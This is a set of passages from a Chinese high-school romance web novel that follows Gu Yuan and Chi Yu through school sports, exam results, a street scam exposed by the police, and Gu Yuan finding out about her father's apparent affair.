顾鸢脚下微动侧开一步，余荔立马上前把球打了过去。
女生急忙往后退，脚下没有踩实跌在地上。
比分呈压倒性胜利，顾鸢转了转手里的球拍，朝靠墙那边休息区坐在椅子上的白佳丽走过去。
两个班的人都跟上。
顾鸢垂着眼睫，嗓音略低，“道歉吧。”
—
打了一场羽毛球马尾有些松了，顾鸢把橡胶环接下来用手捋了捋头发，再扎起来麻烦，她把碎发别到耳后。
身侧突然想起一道低沉的声音，“你耳朵受伤了。”
“耳朵？”
顾鸢拿手碰了碰，耳垂的地方确实有轻微的刺痛。
“可能是那会儿不小心伤到的。”
这个年纪的女生打架除了撕头发就是撕头发，手下也没一点轻重。
迟瑜抿唇，眸色有些沉，朝其他人道：“我先陪她去趟校医室。”
“不用了吧，这点……”小伤。
话没说完，腕骨被宽大的手掌攥住，她不得不跟着往校医室走。
林雪捧着脸，痴痴道：“真般配。”
其他人：我们也觉得。
……
校医室的门口有棵白玉兰，花瓣通体素白，散着淡雅的香味。顾鸢把头发撩到一边，棉签上浸着碘伏，落在皮肤上微凉。
有风拂过，一片花瓣飘落最后停在窗台上，顾鸢伸手拿了起来，指腹轻轻摩挲，朝身后道：“迟瑜，你知道白玉兰的花语吗？”
迟瑜换了一根新的棉签伸进瓶口，闻言愣了下，半眯起眼，低笑声撒在她耳畔：“你知道？”
“是真挚的友情。”她说。
迟瑜垂眸，看着她白皙的后颈，眸光深暗。
紧接着，顾鸢又说：“还有一种。”
伤口不大，迟瑜消了毒开始上药，闻言配合她问道：“是什么？”
“是忠贞不
24. 好酸
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教学楼里略显空荡，一楼走廊的灯已经修好了，顾鸢瞥了眼前面修长的背影，细白的手指攥着手提袋，直言道：“你是故意的。”
前面的人转身，一只手插在兜里，昏眛的灯光削弱了身上的锋利和冷硬感，五官轮廓分明，嗓音散漫道：“是，我是故意的。”
黑眸直勾勾地看着她，漆黑的眉眼英挺桀骜，顾鸢手指微蜷，怔了几秒，轻笑了声，侧过他往外走。
迟瑜敛睫跟上。
运动会过后又进入了争分夺秒的学习中，窗外的蝉鸣声日渐密集，教室里也在突然的某一天安上了空调。
炎炎夏日，顾鸢撕开糖纸，薄荷清冽的味道刺激着大脑，笔下的曲线终于变直。
晚自习的时候曹军平突然说道：“这学期就要结束了，大家也该好好考虑选科的事情，和父母商量，根据自身情况，不要盲目选择。”
下课后，言酥扭头拉着顾鸢的胳膊撒娇，“浅浅，你要选文科还是理科啊？”忽而灵光一闪，她一巴掌拍在桌子上，“对了，你不是学钢琴吗？你应该学文科吧。”
“太好了，我们又能在一起了。”
选文理科这事顾鸢有想过，但并不确定，具体还要问姜女士和老顾的意思。
后面的江浩阳烦躁地搓了搓头发，起身跑了出去。
顾鸢扭头朝迟瑜看去，茫然道：“他怎么了？”
迟瑜垂眸看她，目光灼灼，“选科的事。”
“他不选理科吗？”
在顾鸢看来他们三个干什么都要一起，选科应该不会分开。
“而且江浩阳的成绩选理科更占优势。”
迟瑜半眯起眼，声线略低，“那你觉得我应选什么？”
“理科啊。”顾鸢毫不犹豫地回道：“你的政史地都没有上过八十，虽然生物稍微弱了点，但化学和物理的成绩都不错。选理科明显更占优势。”顿了顿，她又道：“当然这事还得自己选择，我只是给你一个建议。”
男生黑长的睫毛低敛，眼底意味有些漆黑不明，勾了勾嘴角，从喉间溢出一声嗯。
晚上回家之后，顾鸢向姜女士和老顾提了这件事。
顾绍辉坐在沙发上，眸色略深，先看了眼姜之遥，他才道：“浅浅你是怎么想的？”
顾鸢抿唇，“刚上高一的时候，我是想选文科的。”那个时候纯粹是因为不爱学物理，再加上姜女士有意让她参加艺考。
闻言姜之遥开口：“你现在还想学钢琴吗？”
沉吟半晌，顾鸢语气坚定地说道：“妈妈，钢琴是我拿得出手的一门才艺，就像拉小提琴、跳古典舞和芭蕾，他们都是我优秀的证明，但我并不想选择其中一个深入研究。”
姜之遥点了点脑袋，“那好，对于学文科和理科，你是怎么想的？有没有以后很想从事的行业，或者很想要做的事？”顿了顿，姜之遥补充道：“家里就你一个孩子，公司肯定是留给你的，这点你必须考虑到。”
顾鸢突发奇想，“要是有个弟弟就好了。”
这话一出，两个大人脸上的表情都僵硬了一涮。顾鸢只当是他们不好意思，没有深想。
“我开玩笑的。”
要是出来一个弟弟才可怕呢。
不曾想会一语成谶，不久以后顾鸢知道她还有个妹妹。
顾绍辉站在客观的角度阐述了选择理科和文科之后的优势和劣势，以及对顾鸢以后的发展会产生怎样的影响。
而姜女士的想法是，如果学理科，最好申请国外的高校。
两人意见相左，又吵了起来。
—
周六下午的体育课上，十五班和十六班的男生在打比赛，赌注中二又好笑，哪一队输了要叫对方爸爸。
两个班的女生互相看不顺眼，还没开始，就在拼命地喊加油，试图在气势上压倒对方。
球场上，两队人马暗潮汹涌，迟瑜穿着白色球衣，清爽又干净，球鞋是黑色的，球服号码是1号。
少年身形落拓，五官明利，气质桀骜带着难以驯服。
像是有感应一般，他也抬睫望来，两人的视线在空中相撞，莫名胶着。
心底微颤，顾鸢低敛下眼睑，手指微微蜷缩。
言酥推了下顾鸢，“我突然发现迟瑜真的好帅啊。虽然徐百川也蛮帅的，当然墨谦也很帅，但是迟瑜真是无法超越。”
顾鸢眄她一眼，“少女，你很花心啊。”
言酥讪笑，小声说道：“哎呀，这是合理欣赏美的事物。漂亮的东西谁都会下意识多看几眼，更何况是这么帅的帅哥。”
顾鸢笑笑，“你开心就好。”话落自己的视线也循着球场上那道白色的身影。
不知道是不是商量好的，迟瑜和墨谦几人配合默契，有种吊着打的感觉。让你先看到一点希望，突然又变成失望。
这完全就是、
“是故意的吧。”言酥幽幽道。
一个漂亮的三分球落下，老师吹响口哨，上半场结束休息，两队队员都朝着各自班级的地方走去。
迟瑜抬手摸了把额头的汗，动作自然又肆意，莫名的撩人。
言酥拿着水瓶下去，迟瑜顺势坐在顾鸢旁边。
看着其他人都在喝水，顾鸢也把自己的水给他，嗓音轻缓地说道：“给你的。”
迟瑜愣了几秒，似是想到了什么，眼眸盯着瓶口的位置看去。
顾鸢怔了怔，音调里含了几分笑意，“放心，是新的。”末了她又补充了句，“我没喝过。”
迟瑜眼底眸色微深，骨节分明的手指拧开瓶盖，仰头将水倒入喉咙，许是喝的太急，有水渍沿着唇边往下流，划过脖颈，圆润的水珠在喉结上停顿一秒，再没入宽大的衣领。
顾鸢看的眼热，微微抬脚睫错开目光，缓了缓，她认真地说道：“迟瑜，你们是故意的。”
大半瓶水进入腹中，迟瑜拧上瓶盖挑着浓郁的眉峰看她。
他嗓音低低沉沉的，磁性悦耳，“嗯，是故意的，但那是我们本来就有龃龉。”他似乎猜到了顾鸢想的什么，继而玩笑着说道：“怎么，看着追求者落下风心里头不爽快啊。”
吃错药了吧他。
“你觉得我在意曹磊？”
顾鸢蓦地沉下眼睫，嗓音略冷，“你在怀疑我的眼光？”
“不是，我没这意思。”他话有些急，正欲在说什么，老师已经吹哨了。
“我就是开个玩笑，你别在意。”
临走前他又道：“我错了，真错了。”
顾鸢抿唇，看着少年骆驼的身影，唇角浅浅勾起。
打完球正好下课铃声也响了，已经压了赌注，那输了的人自然要遵守规则。
十六班的几个男生面如菜色。
江皓阳唏嘘道：“不是吧，你们要耍赖啊。这么多人看着呢，有点诚信好吗？”
曹磊嘴唇嗫喏，紧皱的眉能夹死苍蝇。
“算了。”
迟瑜懒散嗓音蓦地响起，一字一顿道：“既然不愿意说，那强求也没意思，我们走吧。”
这话说的就相当有水平。
赌约是大家都同意的，现在输了不履行就是输不起。
徐百川轻笑一声，揽着迟瑜的肩膀，一行人浩浩荡荡的离开。
言酥使劲拽着顾鸢的胳膊，“天呐，你看到没有，刚才徐百川笑的太好看了吧。漫不经心，邪魅一笑，勾唇讥笑。他都表现出来了。”
顾鸢安抚地默了默她的脑袋，“好了好了，你没看到十六班想刀人的眼神。我们要低调一点。马上就高二分班了，万一到时候分到一个班的，那不就尴尬死了。”
言酥点头，“确实是这样，怎么办，好烦啊。要是我们俩分不到一个班怎么办，可以找曹老师说一下吗？”
顾鸢眼睫扑簌了下，低声道：“也可能确实分不到一个班。”
晚自习的时候，曹老师找了已经毕业的学长学姐来讲话，分享自己的学习历程，顺便给大家一些建议。
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“哦，这样啊。”肖毅叹气，“羡慕你们成绩好的，你们才是在挑学校。不像我们，人学校都不带搭理的。”
顾鸢噗嗤笑了声，“你好好努力还是可以去你想去的学校。”
肖毅长叹一声，“难呐，难于上青天。”
迟瑜一直看着烤肉，等好了先夹给顾鸢。正好肖毅烤的豆腐也好了，夹起一块就放到了顾鸢碗里。
迟瑜拿着筷子夹到自己碗里，在肖毅不解的目光下淡定地说道：“她不吃豆腐。”
祁蓉为了缓解肖毅的尴尬，忙说道：“给我吧，我喜欢吃。”
肖毅把剩下的都夹给她。
祁蓉：“……”再喜欢也不用吃这么多吧。
顾鸢有些意外看向迟瑜，“你怎知道我不吃豆腐？”
“你不是说过，不吃豆腐不吃茄子，不吃葱姜蒜，不吃太辣不吃太咸。”迟瑜说完眉眼带着笑意，语调上扬，“不是你说的，我没记错吧。”
顾鸢仔细想了想，是他们第一次吃烤鱼的时候，她随口说了吃青提，因为店里没有，他就去外面的水果店买了。
“记性真好。”
顾鸢拿起一片生菜，夹了一片五花肉，又把肖毅刚才夹的豆腐也加上，又散上胡椒粉，然后包起来给迟瑜，“顾氏独有的，尝尝。”
迟瑜眉梢稍仰，伸手接过来，在顾鸢的注视下低头咬了一口，“不错，可以出师了。”
顾鸢勾唇又包了一块，祁蓉伸出手，“我要。”
现成的料总不会再是那么奇怪的味道了。
祁蓉心满意足地吃着顾鸢递过来的那份。
肖毅手伸到一半又收回去了，“我肖氏也有，看我的。”
从烤肉店出来已经是大半个小时之后，因为吃的有点饱，几人绝对先走几步路消消食。
在路过一条小路的时候，路边跪着一个年迈的老人，他穿着破烂的衣服，脸上和手上都是脏兮兮的，脚上的鞋子也很破了个洞。
老人面前放着一个纸盒子，盒子里有零散的纸币，十块的五块的一块的，大一点的也有一百的五十的。
四人刚走过去，跪在原地的老人突然爬到几人眼前，“行行好，给点钱吧，好人一生平安啊。”
迟瑜和肖毅分别拉着顾鸢和祁蓉往后退了一步，但因为老人冲出来的太猛，粗粒的手指划过祁蓉的小腿，腿腹瞬间有一道明显的红痕。
祁蓉只觉得腿腹有阵轻微的刺痛，肖毅脸色难看，但对着一个身体有残缺的乞丐也不能说什么。
顾鸢从打开钱包，正要从里面去除几张零钱，老人突然窜起来朝顾鸢扑过去，迟瑜眼疾手快地拉着顾鸢往旁边躲开。
肖毅见状也拉着翻口袋的祁蓉躲远。
老人家扑通摔倒在地上，瞬间惨叫起来，周围的行人也纷纷围观过来。
“哎呦——哎呦——”虽然没说什么，但那只颤颤巍巍的手一直指着顾鸢。
群众不明所以，看这副画面就觉得是不懂事的年轻人在欺负乞丐老人。
“小姑娘，你怎么能这样呢？”
“是啊，就算不给他钱也不用欺负人吧。”
祁蓉没见过这种阵仗，气的眼眶都红了，哆嗦着嘴巴不知道要从哪里开始反驳。
迟瑜拉着顾鸢的手腕，另一只手已经拿出了手机拨打电话。
周围的人还在说。
“现在的年轻人，真是一点爱心也没有。”
“世风日下呀，世风日下。”
“我看这老人也摔得不合适了，赶紧把你们家长叫来给老人家送医院检查去吧。”
顾鸢嗤笑一声，心里莫名堵了一口气，“你们看清事情的经过了吗？”
“你这小姑娘，怎么还顶嘴呢？”
“现在的小孩儿，就是没有教养。”
“你家里没有老人吗？这么不知道尊重人？”
“够了！”
顾鸢想到了外公，呼吸有些不稳，捏紧了钱包，看向还趴在地上的老人，没有错过他眼底一闪而过的慌乱，“您确实很聪明，以为这里没有监控，就可以随意污蔑我们。”
说着她举起钱包，“我可以给你钱，但是你非要抢这才让自己摔倒。你已经伤了我的朋友，现在还想讹我们。”
顾鸢扯着唇，语气嘲讽，“还真是……”
55. 看光
“世风日下。”
陈哲明举着手机出来，看了眼迟瑜，他朝着众人继续说道：“刚才的经过我都录下来了，警察也马上就到。”
老人察觉到了不对劲，眼神闪烁，正要爬起来跑路，一直盯着他的迟瑜大步上前把他反手按在地上，争斗间可以看出老人的腿完全是好的。
围观的人说不出话。
警察来了之后将老人带走，顺带解释了一句，“那个人是个惯犯，以乞讨为名义行抢劫诈骗之事，以后大家看事情都擦亮眼睛，不要不了解事情的经过就盖棺定论。”
有个实习的小警察嘀咕了句，“可怜的孩子们，都还没出校门呢，就见识了社会的险恶。”
老警察乜了他一眼，小警察低头装鹌鹑不说话了。
-
肖毅问陈哲明：“你真录视频了？”
陈哲明摇了摇头，“没有，我也是看到这里围着一群人，又看到你们几个的身影才过来的。”
“刚才谢谢。”顾鸢朝他说道。
“不客气，就算是别人我也会帮忙的。”陈哲明看了眼手表，说道：“我还要上课，就先走了。”
顾鸢：“好。”
肖毅伸出手在祁蓉眼前晃了晃，“行了，人都走了还看。”
祁蓉：“没看，我就是突然发现陈哲明长得还挺帅的。”
肖毅：“……你同桌我也挺帅的，你怎么就没发现呢。”
祁蓉：“……”很难评。
迟瑜和顾鸢走在后面，路上车流驶过，自行车铃声由远及近，迟瑜正要伸手拉开顾鸢，结果顾鸢自己避开了。
看到迟瑜的手还停在半空中，顾鸢微愣，“怎么了？”
迟瑜收回手，面色平静地说道：“刚才有只虫子，已经飞走了。”
顾鸢哦了一声，而后又说道：“我刚才……”
“你刚才做的很好。”迟瑜垂下脑袋看着顾鸢，嗓音低沉，“你没有做错，错的是借着乞丐的身份行骗的老人，和那些不分青红皂白就给我们下定义的路人。”
顾鸢抿了抿唇，“我就是有点难受，那个老人也是和外公一样的年纪，他却要出来靠行骗为生，也是一个可怜人，其实要是我……”
“顾鸢。”迟瑜打断她的话，“做坏事是不分年龄的，他刚才抓伤了祁蓉，又差点伤了你，不能因为他年纪大就觉得他可怜，这世上比他可怜的人有很多，这不是他作恶的理由。”
“我知道，就是有点感概。”
顾鸢轻叹了口气，抬眸时看到一个老人骑着三轮车，后面的车厢里坐着他的老伴，两人说着话，眉眼的笑意就没有落下去过。
阳光透过枝叶落在小车上，那里彷佛是被隔绝出的另一个世界。
静谧又安逸。
迟瑜顺着她的视线看过去。
一对年轻的男女牵着一个小孩儿，小孩儿指着老奶奶手上的气球，吐字不清地摇着爸爸妈妈的手，“要、要、”
小车缓缓走远，可他们的笑声仿佛还留在空气中。
-
晚自习的时候顾鸢总结的知识点被班里的同学疯传，最后在得到了顾鸢的同意后想要的同学都去复印了。
三月中旬迎来了一模考试，考试时间安排和高考时间一样，考完之后大家都有些坐不住，顾鸢和祁蓉也在下面用书挡着脸说话。
“我觉得我考的应该还行。”
祁蓉这段时间很拼，有天晚上嫌太晚了没回家直接睡在了顾鸢的宿舍，两人靠着一盏台灯熬了半个通宵都在讨论问题。
“这么厉害，我也觉得我考的还行。”肖毅的声音从两人身后响起。
祁蓉瞥了他一眼，没好气道：“我又没跟你说。”
肖毅眨眨眼，“……怎么了吗我？”
祁蓉：“你话真多。”
肖毅：“我……”
顾鸢看向迟瑜，迟瑜摇摇头，趁着两人在斗嘴，顾鸢和迟瑜丢下他们二人继续往前走。
顾鸢看了一眼四周，问道：“徐百川呢？怎么没看到他。”
迟瑜斜睨着她，“你关心他做什么？”
顾鸢：“……你跟他不是一直形影不离的，我就是好奇了一下而已。”
迟瑜低笑了一声，随手拨开眼前的树叶，“怎么就我跟他形影不离了，不应该是我跟你形影不离吗？”
顾鸢顶下脚步，抿着唇看向他。
迟瑜微怔，撇开眼轻咳一声说道：“他去找江皓阳了。”
不知不觉间，两人竟然走到了花园里面，四周没什么人，头顶是枝繁叶茂的榕树。
顾鸢正要转身往出走，迟瑜突然攥住她的手腕把人带到了一片绿植后面，两人低着头蹲下来，外面说话的声音也开始清晰。
男生说：“你是不是要跟我分手？”
女生的语气很不耐烦，“曹磊，你清醒一点好吗？”
曹磊：“你就是不需要我了，所以想甩了我对吗？白佳丽，我没想到你是这种人。”
白佳丽的语气开始烦躁，“随便你怎么想。”说完她就走了。
曹磊气的踢了树干一脚，也黑着脸离开。
顾鸢和迟瑜对视一眼，没想到还是两个熟人。
顾鸢正要起身，迟瑜拉住她的胳膊，顾鸢因为惯性扑到他身上，迟瑜一只手撑在后面才没有摔倒。
外面的人去而复返，弯腰从地上捡起了什么才离开。
顾鸢一只手被迟瑜抓着，一只手搭在他的肩膀上，脸颊紧贴着男生硬实的胸膛，耳畔是如鼓点般密集的心跳声。
顾鸢双颊绯红，下面的迟瑜也不狂多让，仰起的脖颈上利落的喉结上下滚动，下颚绷的紧紧的，浓密的睫羽颤动，眼尾有些红。
“迟瑜，你……”
撑在地上的那只手臂突然一弯。
噗通一声，两人摔了下去。
顾鸢趴在迟瑜身上，脑袋埋在他的肩窝里，整个人的重量都压在他身上。
迟瑜一只手护着顾鸢，手掌隔着校服落在她腰间，双眸睁着，一动不动地看着头顶的蓝天。
两人身下的月见草被压倒一片，粉色的花瓣散开，花汁染到了白色的衬衣上。
顾鸢撑着迟瑜的肩膀正要起来，迟瑜低声叫住她，嗓音温沉低哑，“先别动。”
……
晚读下的铃声拉响，下面背书的学生陆陆续续地往教室走。
顾鸢脸颊还有些粉，她紧抿着唇，怀里抱着笔记本，视线落在弯腰在花园里捡书的人身上，等迟瑜拿到书，顾鸢转身，利落地往出走。
出了花园，迟瑜叫住顾鸢，“等会儿。”
顾鸢站定，眼神四处飘就是没有落在迟瑜身上，“怎么了？”
迟瑜把书塞进她怀里，“帮我把书带上，我等会再上去。”说完他转身往另一个方向走。
顾鸢看着他走远，手指紧紧抓着书边，因为用力，指腹泛白。
回到教室，顾鸢刚坐下祁蓉就小声问她，“你们去哪儿了？怎么一转眼就不见了。”
顾鸢往后靠着后面的桌子回她，“背书，走着走着就不见你们两个了。”
祁蓉抱怨道：“肖毅也是够小气的，非要和我吵。”
余光瞥到曹军平从前门进来，顾鸢忙坐回去。
等到上自习的铃声拉响，曹军平的视线在教室里巡视一圈，最后定格在顾鸢旁边的空位上，“顾鸢，你同桌呢？”
大脑嗡地叫了一声，顾鸢捏着笔的手指攥紧，语气尽量平静地说：“我不知道。”
曹军平点了点脑袋，“行，你先出来一下，其他同学安静自习。”
顾鸢跟在曹军平身后，心跳声快的要让人耳鸣，垂在身侧的手紧紧攥着，唇线紧绷。
办公室里，曹军平给顾鸢倒了杯水，“先坐，老师有件事要跟你说。”
顾鸢表情严肃，眉毛紧紧皱着。
花园那儿没监控吧？
就算真的有也不会就恰巧看到了吧？
要是真的，那就解释不清了。
曹军平清了清嗓子，说道：“我看班里很多同学都拿着你总结的知识点在看，我问了余荔说是你答应让他们复印的。”
顾鸢微愣，不是说花园的事。
她点点脑袋，“是。”
曹军平继续说道：“资料老师都看了，你总结的很好。就是吧，其他班的老师也看到了，他们也想给自己班的学生复印，托我来问问你的意思。”
顾鸢彻底松了口气，原来是说复习资料的事。
她仰起小脸，说道：“当然可以，就是我不能保证那些资料适用于每个同学。”
“这个你放心，他们拿了你的资料，能吸收多少是他们自己的事。再说了老师上了这么多的课能学的都学了，学不了的还是学不了，这在他们自己，你不用担心。”
顾鸢点头，“好。”
“
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好。”曹军平欣慰地笑起来，“顾鸢呐，你可真是我们一中的宝贝，能做你的老师，是我的福气。”
“您言重了。”顾鸢握着水杯说道：“能遇到您才是我的幸运。”
曹军平笑得眼角都露出了褶皱，“哈哈哈，好，好，你回去自习吧，等迟瑜来了让他来一趟办公室。”
“好。”
顾鸢起身从办公室出来，没想到在楼道里碰到了迟瑜。
“老曹又找你？”
“也在找你，说让你去一下办公室。”顾鸢看他的衣摆有些湿，问他，“你衣服怎么湿了？”
迟瑜目光微闪了下，说道：“不小心弄湿的，你回教室吧，我去办公室。”
“哦”
顾鸢没多想，径直往教室走。
等顾鸢走进教室迟瑜才转身往办公室走。
曹军平见到迟瑜立马起身走过去拍了拍他的肩膀，“迟瑜，老师就知道你能行。”
迟瑜眼睛一亮，“我考第一了？”
曹军平：“那倒没有。”
迟瑜的眸光暗了下来，声音也低了许多，“那是多少？第二？”
曹军平：“也不是。”
迟瑜：“……第三？”
“对喽。”曹军平拍了下手，“真聪明，第二是二班的林杨，老师希望二模的时候你能超过他。”
-
晚上要睡的时候，迟瑜突然想起了傍晚和顾鸢跌倒在花园的事。
天旋地转间，周围的空间好像发生了变化。
一望无际的月见草，翻飞的蝴蝶，湛蓝的天空，轻拂的微风，还有此起彼伏的虫鸣……
早上闹钟响到第三次的时候，迟瑜闭着眼睛把他关掉。
脑袋似乎有千斤重，眼皮也重的抬不起来，挣扎了几分钟之后，迟瑜终于接受了现实。
他发烧了。
不得已给曹军平打了电话请了半天假，叶蔓茹还没有回来，迟瑜只好掀开被子，慢腾腾的挪动着脚步找到退烧药吃上。
喝了大半杯水，迟瑜又爬回床上睡觉。
-
第二天顾鸢到教室的时候桌子上摆满了零食，就连迟瑜的桌子也没有幸免，满满当当都是各种吃的还有水果。
顾鸢愣在座位旁边好一会儿都没有反应过来。
前排的陈哲明转过来说道：“这些都是其他班同学送的，说是为了感谢你把复习资料给他们复印。”
“原来是这样，可是这也太多了吧。”顾鸢正要把书包往桌仓里放，发现桌仓里也塞满了东西。
余荔走过来说道：“刚才曹老师说迟瑜感冒了请了半天假，你可以先放到他的位置上。”
顾鸢点点头，“也好。”
因为东西太多，最后还是余荔从办公室找了一个大塑料袋，放不下的都装进袋子里放到迟瑜的椅子上。
中午放学之后，顾鸢看着右边的一大袋零食陷入苦思，突然灵光一闪。
等教室里人走的差不多了，顾鸢提着袋子往出走。
-
迟瑜睡了一觉才觉得好了一点，洗漱完之后就瘫在沙发上恢复元气。
突然门被敲响，迟瑜愣了几秒钟才去开门。
顾鸢站在门口，看着头发微乱睡眼惺忪，穿着短袖短裤的迟瑜怔住。
迟瑜：……
“你不先让我进去吗？”顾鸢把手里的零食塞到迟瑜怀里。
迟瑜侧身让开，看着往里走的女生，抬手薅了一把头发，顺便在脸上拍了拍。
是真的？
顾鸢坐在沙发上，见迟瑜站在不动，抿着唇压住上翘的嘴角，“你……要不坐下。”
迟瑜把东西放茶几上一搁，转身快步往房间走，嘴里还不忘说道：“你先坐。”
顾鸢噗嗤一声笑了出来，之前迟瑜提起过他妈妈去了邻市，她就猜到他家里就他一个人。
茶几上的手机突然响起来，顾鸢拿起来看了眼，是一串电话号码，她拿着手机往迟瑜的房间走。
本以为他房间的门是关上的，怎料顾鸢轻轻一推就开了，引入眼帘的是赤着的上身，
——露出的腹肌块状分明，腰肌线条性感而紧致。
顾鸢怎么也没想到，推开门看到的会是这副场景。
顾鸢紧抿着唇咽了咽口水，盯着某处的眼睛放光。
许是察觉到了她灼热的视线，迟瑜转身，两人的目光在空中相撞。
56. 噩梦
“嘭——”
顾鸢捂住自己差点被撞到的鼻子，悻悻地转身回了沙发继续坐着。
迟瑜出来的时候换了一身运动服，上衣的拉链一直拉到了最上面，挡的严严实实的，像是在防着谁一样。
顾鸢：“……”
两人分别坐在沙发的两端。
须臾，顾鸢先开口，“你这里有吃的吗？”
迟瑜撩起眼皮看了她一眼，然后起身往厨房走，顾鸢实在是太饿了，从一大袋子里零食里挑了包面包拆开先垫了几口。
迟瑜下了两碗面，吃完之后顾鸢瘫在沙发上完全不想动弹，迟瑜收拾好碗筷从厨房出来的时候顾鸢已经窝在沙发上睡着了。
迟瑜转身进了卧室，出来的时候手上拿了一条毯子。
因为休息了一个早上的原因，迟瑜一点儿也不困，所以拿着书在客厅看。
墙上的挂钟轻轻摆动，迟瑜手里拿着书，思绪不回到了半个小时前。
他差点就脱完了。
顾鸢似乎睡得不安稳，眉毛紧紧皱着，毯子也被她死死地攥在手里。
迟瑜把书放下半蹲在沙发前。
“顾鸢？顾鸢？”
手被顾鸢抓住，迟瑜轻轻拍着她的肩膀，温声哄道：“别怕……没事了……没事了……”
顾鸢慢慢睁开眼睛，入目是迟瑜轻皱的眉头和担忧的眼神，她张了张嘴，嗓子像是被什么东西黏住了一样发不出声音。
迟瑜转身倒了杯水。
顾鸢撑着胳膊坐了起来，喝了几口水，才渐渐稳住了心神。
“做噩梦了？”迟瑜接过水杯放回茶几上，又抽了几张纸巾给她。
顾鸢擦了擦额头的虚汗，点了点脑袋，“是做了一个不好的梦。”
一个她永远也想不到马上就会成为现实的梦。
“梦都是反的，别想那么多。”迟瑜抬手揉了揉她的脑袋，提醒她，“该去学校了。”
“嗯。”
顾鸢掀开毯子正要起来，怎料腿一软就扑了下去，整个人跌到迟瑜怀里。
迟瑜双手张开任由她抱住，无奈抬头看向天花板，喉结滚了滚，嗓音有些涩，“……我说……你就这么喜欢占我的便宜。”
顾鸢羞赧地要起来，然而手正好按在迟瑜腹下的位置。
……
“我不是故意的。”
顾鸢推开他逃跑似的进了洗手间。
迟瑜靠着沙发坐在地上，微仰着头脖颈修长，利落的喉结上下滚动，他一条腿屈起一套腿伸直，手臂搭在膝盖上，整个人又野又欲。
靠！又看又摸，谁他妈受得了。
顾鸢洗了把脸，做了好久的心理建设才从洗手间出来，抬眸就看到迟瑜靠在门口，手里提着书包，脸色平静又淡然地看过来，很自然地说了句，“走了。”
下楼梯的时候，顾鸢想着找个什么话题，毕竟她确实……
“我说。”
“怎么了？”顾鸢抬眸看向迟瑜，表情诚挚，“你说。”
迟瑜垂眸，视线沉沉地压下来，顾鸢咽了咽口水，“到底什么事？”
“你心虚什么？”他说。
顾鸢：“没有啊。”
迟瑜蓦地往前走了一步，顾鸢往后一退，后背抵在墙上。
迟瑜俯身，目光灼灼，沉声道：“不给个说法吗？”
“说法？”顾鸢双手攥着衣摆，心跳快的像打鼓，“你想要什么说法？”
舌尖抵着齿低，迟瑜嗤笑了一声，“你刚刚，咳，你摸我了。”
顾鸢的脸颊突地红了一片，“你别污蔑人，我刚才根本没碰到。”
“那你脸红什么？”
……
“还没说你偷看的事。”
“我那是不小心，谁知道你换衣服不关门。”
“合着还是我的问题？”
“不然是我的？”
迟瑜黑眸沉沉地盯着她，须臾，后退一步转身就往出走。
顾鸢：“……”
真不关她的事……吧……
-
晚自习下了之后，顾鸢转着手里的笔，眼神时不时的瞥向旁边。
突然江皓阳从后门进来扑到迟瑜身上，“哈哈哈，一起去吃烧烤啊。”
迟瑜拉下他的手臂，冷酷道：“不去。”
“别啊。”江皓阳把视线投到顾鸢身上，“顾姐一起啊，言酥在下面等你呢。”
“我就不……”
“浅浅。”言酥从前门跑进来，拉着顾鸢的手臂撒娇，“走吧，咱们好久都没聚了。”
……
顾鸢和迟瑜走在最后面，因为中午的事，顾鸢一直不知道要怎么跟他说话。
男生对这个好像是挺……在乎的吧……
出了校门往烧烤店走的时候，顾鸢拉住迟瑜的衣袖轻轻扯了下，她抿了抿唇，嗓音温软，“我中午不是故意的，你别……”
顾鸢说到一半的时候顿住，迟瑜低头正要说话，发现她的眼睛直直地盯着一个地方。
不远处，顾绍辉亲昵地揽着一个女人的肩膀，他们的面前正是凌熙诺，三人有说有笑，顾绍辉帮凌熙诺打开后面的车门，凌熙诺上去之后顾绍辉和那个女人还说着什么，两人之间的关系看着很亲密。
顾鸢机械地掏出手机给顾绍辉拨去电话。
顾鸢眼睁睁地看着顾绍辉拿出手机，在看到手机屏幕的时候怔愣了几秒，女人说了什么然后上了副驾驶，顾绍辉这才接通电话。
“浅浅啊，怎么啦？”
顾鸢的手紧紧地攥住手机，抑制着就要发抖的声音，“爸爸，你还没回宁宜吗？”
“是啊，要明天才能回，怎么了，是不是生活费不够了？”
顾鸢咬着下唇，强迫自己不让眼泪掉下，过了好一会儿才说道：“嗯，我前两天给边秣买了生日礼物。”
“就这事啊，爸爸这就给你转。还有其他的事吗，爸爸这会儿还有点事，等明天回来了就来学校看你。”
挂了电话，顾鸢呆愣地站在原地。
就算之前再怎么骗自己，可如今都亲眼看见了，她还能再自我欺骗吗？
可笑，真是可笑。
“呵——”
顾鸢撇开眼，豆大的眼泪砸下。
……
突然有了这一出，两人也没有去烧烤店，让顾鸢回学校迟瑜也不放心，只好把人带到了家里。
顾鸢坐在沙发上捧着水杯，迟瑜双手叉腰站在茶几前，铃声突然响了起来，迟瑜拿着手机去阳台接电话。
“突然不舒服……你哪儿那么多问题……我感冒也没好……你们吃吧……”
挂了电话，迟瑜走到顾鸢面前弯下腰，“我去收拾一下我妈的房间，今晚你先凑合一下。”
顾鸢抬起眼睫一言不发地看着他。
迟瑜抿唇，“要不我把黄怡姐叫过来陪你？”
“不用。”顾鸢垂下眼睫，“我想休息了。”
迟瑜把人带到叶蔓茹的房间，看着她睡下，然后蹲在床边说道：“有事就叫我。”
顾鸢把头埋在被子里，闷闷地嗯了一声。
迟瑜起身关了灯，要关门的时候留了条缝。
回了房间，迟瑜躺在床上看着天花板，须臾，烦躁地挠了挠头发。
迟瑜本来就睡得晚，过半个小时就轻手轻脚地推开门看一眼顾鸢。
后半夜的迟瑜出去的时候，听到了房间里传出的很低的抽噎声。
等哭声停了，迟瑜拿了新的毛巾打湿，又从冰箱找出冰袋。
轻轻推开门，迟瑜走过去打开壁灯。
应该是哭累了，顾鸢睡了过去，枕头湿了一大片，脸颊上也沾着湿透的头发，眼睛红红的已经肿了起来。
迟瑜抬起她的脑袋，先把枕头换掉，再拨开她湿透的头发，指腹上的湿濡像是带了温度，灼烧着手指，迟瑜紧绷下颚，小心翼翼地擦着顾鸢的小脸，然后又拿冰袋敷在眼睛上。
手臂突然被抱住，迟瑜被拽着趴去，他连忙用手撑住，还挂着泪珠的睫羽近在眼前，迟瑜试着挣脱手臂，但顾鸢抱的太近，胳膊纹丝不动。
顾鸢嘴唇蠕动似乎说了什么，迟瑜又往下凑近了些，再听的时候顾鸢已经不说了。
这个姿势实在难受，迟瑜几次尝试无果，只好认命的就这样撑着。
约莫过了五分钟，顾鸢突然抱着胳膊转身，迟瑜一个不妨跌下去，嘴唇落在顾鸢的额头上。
